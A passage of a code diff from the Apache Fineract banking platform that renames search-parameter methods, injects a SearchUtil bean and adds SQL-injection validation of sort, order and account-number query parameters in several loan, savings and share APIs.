sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder());
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -352,15 +352,15 @@
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (searchParameters != null) {
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder());
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java
index 204dda9..f1bde48 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java
@@ -137,15 +137,15 @@
final SQLBuilder extraCriteria = getGroupExtraCriteria(searchParameters);
extraCriteria.addCriteria(" o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
- if (parameters.isOrderByRequested()) {
+ if (parameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder());
}
- if (parameters.isLimited()) {
+ if (parameters.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParameters.getLimit());
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParameters.getOffset());
}
}
@@ -168,17 +168,17 @@
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
- if (searchParameters != null && searchParameters.isOrphansOnly()) {
+ if (searchParameters != null && searchParameters.getOrphansOnly()) {
sqlBuilder.append(" and g.parent_id is NULL");
}
if (parameters != null) {
- if (parameters.isOrderByRequested()) {
+ if (parameters.hasOrderBy()) {
sqlBuilder.append(parameters.orderBySql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
}
- if (parameters.isLimited()) {
+ if (parameters.hasLimit()) {
sqlBuilder.append(parameters.limitSql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java
index 006149d..684f458 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java
@@ -87,6 +87,7 @@
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.monetary.data.CurrencyData;
import org.apache.fineract.organisation.staff.data.StaffData;
import org.apache.fineract.portfolio.account.PortfolioAccountType;
@@ -279,6 +280,7 @@
private final LoanCollateralManagementReadPlatformService loanCollateralManagementReadPlatformService;
private final DefaultToApiJsonSerializer<LoanDelinquencyTagHistoryData> jsonSerializerTagHistory;
private final DelinquencyReadPlatformService delinquencyReadPlatformService;
+ private final SqlValidator sqlValidator;
/*
* This template API is used for loan approval, ideally this should be invoked on loan that are pending for
@@ -476,6 +478,10 @@
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(accountNo);
+ sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().accountNo(accountNo).sortOrder(sortOrder)
.externalId(externalId).offset(offset).limit(limit).orderBy(orderBy).status(status).build();
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java
index 02f6cd7..5f7efd0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java
@@ -349,19 +349,19 @@
arrayPos = arrayPos + 1;
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java
index b88b973..72128a9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java
@@ -35,6 +35,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
import org.apache.fineract.portfolio.savings.data.DepositAccountOnHoldTransactionData;
import org.apache.fineract.portfolio.savings.service.DepositAccountOnHoldTransactionReadPlatformService;
@@ -50,6 +51,7 @@
private final DefaultToApiJsonSerializer<DepositAccountOnHoldTransactionData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DepositAccountOnHoldTransactionReadPlatformService depositAccountOnHoldTransactionReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -60,7 +62,10 @@
this.context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final Page<DepositAccountOnHoldTransactionData> transfers = this.depositAccountOnHoldTransactionReadPlatformService
.retriveAll(savingsId, guarantorFundingId, searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java
index 3c14795..786baf9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java
@@ -69,6 +69,7 @@
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.PortfolioAccountData;
import org.apache.fineract.portfolio.account.service.AccountAssociationsReadPlatformService;
import org.apache.fineract.portfolio.savings.DepositAccountType;
@@ -105,6 +106,7 @@
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final FixedDepositAccountInterestCalculationService fixedDepositAccountInterestCalculationService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -144,7 +146,10 @@
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.FIXED_DEPOSIT_ACCOUNT_RESOURCE_NAME);
- final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
+ .offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
if (paginationParameters.isPaged()) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java
index 549f68c..25294dc 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java
@@ -67,6 +67,7 @@
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.DepositAccountType;
import org.apache.fineract.portfolio.savings.DepositsApiConstants;
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
@@ -98,6 +99,7 @@
private final DepositAccountPreMatureCalculationPlatformService accountPreMatureCalculationPlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -138,7 +140,10 @@
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.RECURRING_DEPOSIT_ACCOUNT_RESOURCE_NAME);
- final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
+ .offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
if (paginationParameters.isPaged()) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java
index 8448fde..32d6a50 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java
@@ -65,6 +65,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.DepositAccountType;
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData;
@@ -92,6 +93,7 @@
private final SavingsAccountChargeReadPlatformService savingsAccountChargeReadPlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -134,7 +136,11 @@
context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forSavings(externalId, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
final Page<SavingsAccountData> products = savingsAccountReadPlatformService.retrieveAll(searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java
index 77eada4..b19f00d 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java
@@ -60,19 +60,19 @@
paramObj.add(guarantorFundingId);
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java
index 4a983e3..f40ca42 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java
@@ -217,19 +217,19 @@
objectArray[arrayPos] = searchParameters.getOfficeId();
arrayPos = arrayPos + 1;
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java
index 1bc81f6..6ccea90 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java
@@ -69,6 +69,7 @@
private final ReadWriteNonCoreDataService datatableService;
private final DataTableValidator dataTableValidator;
private final JdbcTemplate jdbcTemplate;
+ private final SearchUtil searchUtil;
@Override
public Page<SavingsAccountTransactionData> searchTransactions(@NotNull Long savingsId,
@@ -76,7 +77,7 @@
context.authenticatedUser().validateHasReadPermission(SAVINGS_ACCOUNT_RESOURCE_NAME);
String apptable = EntityTables.SAVINGS_TRANSACTION.getApptableName();
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(apptable));
PageRequest pageable = searchParameters.getPageable();
@@ -84,7 +85,7 @@
if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream()
- .map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
+ .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else {
pageable = pageable.withSort(Sort.Direction.DESC, "transaction_date", CREATED_DATE_DB_FIELD, "id");
sortPageable = pageable;
@@ -108,7 +109,7 @@
String alias = "tr";
StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>();
- SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
+ searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper tm = new SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper();
Object[] args = params.toArray();
@@ -185,8 +186,8 @@
dataTableValidator.validateTableSearch(queryRequest);
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(apptable);
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
- String pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
+ String pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
AdvancedQueryData baseQuery = queryRequest.getBaseQuery();
List<TableQueryData> datatableQueries = queryRequest.getDatatableQueries();
@@ -200,9 +201,9 @@
selectColumns = new ArrayList<>();
} else {
columnFilters = baseQuery.getNonNullFilters();
- columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
+ columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
resultColumns = baseQuery.getNonNullResultColumns();
- selectColumns = new ArrayList<>(SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
+ selectColumns = new ArrayList<>(searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
}
columnFilters.add(0, ColumnFilterData.eq("savings_account_id", savingsId.toString()));
if (resultColumns.isEmpty() && !queryRequest.hasResultColumn()) {
@@ -214,7 +215,7 @@
if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream()
- .map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
+ .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else {
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
sortPageable = pageable;
@@ -228,7 +229,7 @@
StringBuilder from = new StringBuilder(" ").append(sqlGenerator.buildFrom(apptable, alias, false));
StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>();
- SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
+ searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
sqlGenerator);
if (datatableQueries != null) {
@@ -280,7 +281,7 @@
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
while (rowSet.next()) {
- SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
+ searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
}
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java
index 26b84a7..1d04add 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java
@@ -33,7 +33,7 @@
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksWritePlatformService;
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
-import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
+import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
import org.apache.fineract.infrastructure.entityaccess.service.FineractEntityAccessUtil;
import org.apache.fineract.infrastructure.event.business.service.BusinessEventNotifierService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
@@ -138,6 +138,7 @@
import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPosterTask;
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionSearchService;
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionsSearchServiceImpl;
+import org.apache.fineract.portfolio.search.service.SearchUtil;
import org.apache.fineract.useradministration.domain.AppUserRepositoryWrapper;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
@@ -151,10 +152,10 @@
@Bean
@ConditionalOnMissingBean(SavingsAccountTransactionSearchService.class)
public SavingsAccountTransactionSearchService savingsAccountTransactionSearchService(PlatformSecurityContext context,
- GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator,
- ReadWriteNonCoreDataServiceImpl datatableService, DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate) {
+ GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator, ReadWriteNonCoreDataService datatableService,
+ DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate, SearchUtil searchUtil) {
return new SavingsAccountTransactionsSearchServiceImpl(context, genericDataService, sqlGenerator, datatableService,
- dataTableValidator, jdbcTemplate);
+ dataTableValidator, jdbcTemplate, searchUtil);
}
@Bean
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java
index 25a36c1..8e485b9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java
@@ -74,20 +74,20 @@
sqlBuilder.append(" and sa.account_no = ? ");
params.add(searchParameters.getAccountNo());
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java
index 535baa1..9e04f49 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java
@@ -40,6 +40,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountDividendData;
import org.apache.fineract.portfolio.shareaccounts.service.ShareAccountDividendReadPlatformService;
import org.apache.fineract.portfolio.shareproducts.data.ShareProductDividendPayOutData;
@@ -60,6 +61,7 @@
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final ShareAccountDividendReadPlatformService shareAccountDividendReadPlatformService;
private final ShareProductDividendReadPlatformService shareProductDividendReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -69,7 +71,10 @@
@QueryParam("sortOrder") final String sortOrder, @QueryParam("status") final Integer status) {
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
Page<ShareProductDividendPayOutData> dividendPayoutDetails = this.shareProductDividendReadPlatformService.retriveAll(productId,
status, searchParameters);
return this.toApiJsonSerializer.serialize(dividendPayoutDetails);
@@ -85,8 +90,11 @@
@PathParam("productId") final Long productId) {
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forPaginationAndAccountNumberSearch(offset, limit, orderBy, sortOrder,
- accountNo);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(accountNo);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).accountNo(accountNo).build();
Page<ShareAccountDividendData> dividendDetails = this.shareAccountDividendReadPlatformService.retriveAll(dividendId,
searchParameters);
return this.toApiAccountDetailJsonSerializer.serialize(dividendDetails);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java
index 2e8bc0b..f9f9212 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java
@@ -62,19 +62,19 @@
sqlBuilder.append(" and pod.status = ?");
params.add(status);
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/resources/application.properties b/fineract-provider/src/main/resources/application.properties
index 9b31b39..326c3f5 100644
--- a/fineract-provider/src/main/resources/application.properties
